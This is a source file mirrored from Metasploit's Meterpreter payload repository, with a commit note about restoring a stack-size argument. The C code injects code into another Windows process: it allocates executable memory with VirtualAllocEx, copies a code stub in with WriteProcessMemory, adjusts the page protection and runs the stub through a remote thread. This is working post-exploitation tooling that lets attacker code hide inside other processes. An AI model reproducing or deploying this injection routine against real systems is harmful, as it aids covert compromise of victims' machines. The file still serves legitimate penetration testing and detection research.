1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-24 10:09:49 +02:00
OJ f74962cf2f Reinstate stack size parameter
Previous commits removed the stack size parameter from the remote thread
creation function call. This caused issues in systems prior to Vista/2k8.

This fix puts that value back in and now everything is honky dory.

Tested on 2k/XP/2k3/Vista/7/2k8
2014-02-12 13:27:41 +10:00

125 lines
2.8 KiB
C

#include "precomp.h"
#include "../../../../../common/arch/win/remote_thread.h"
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
LPVOID *buffer, DWORD length, DWORD prot);
/*
* Executes a portion of code in the address space of the supplied process
* and returns the exit code of the thread that is created
*
* FIXME: can-block
*/
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
LPVOID parameter, DWORD parameterLength, LPDWORD rv)
{
HANDLE thread = NULL;
LPVOID paramInProcess = (LPVOID)parameter;
LPVOID codeInProcess = (LPVOID)buffer;
DWORD threadId;
DWORD result = ERROR_SUCCESS;
DWORD wait;
do
{
// Copy the code and parameter storage
if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
{
break;
}
if ((result = copy_memory_to_process(process, TRUE, &paramInProcess,
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
{
break;
}
// Create the thread in the target process
if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId)))
{
result = GetLastError();
break;
}
// Wait for the thread to terminate
while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
{
if (wait == WAIT_FAILED)
{
result = GetLastError();
break;
}
}
if (rv)
{
GetExitCodeThread(thread, rv);
}
// Free the memory in the process
if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
(!VirtualFreeEx(process, paramInProcess, 0, MEM_RELEASE)))
{
result = GetLastError();
break;
}
} while (0);
// Close the thread handle if one was obtained
if (thread)
{
CloseHandle(thread);
}
return result;
}
/*
* Copies memory to the target process, optionally allocating it
*/
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
LPVOID *buffer, DWORD length, DWORD prot)
{
LPVOID remoteBuffer = *buffer;
SIZE_T written;
DWORD result = ERROR_SUCCESS;
do
{
if (allocate)
{
// Allocate storage for the buffer
if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{
result = GetLastError();
break;
}
}
// Copy the memory from local to remote
if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
{
result = GetLastError();
break;
}
// Re-protect the region to have the protection mask specified
if (prot != PAGE_EXECUTE_READWRITE)
{
DWORD old;
if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
{
result = GetLastError();
break;
}
}
} while (0);
// Update the buffer pointer
*buffer = remoteBuffer;
return result;
}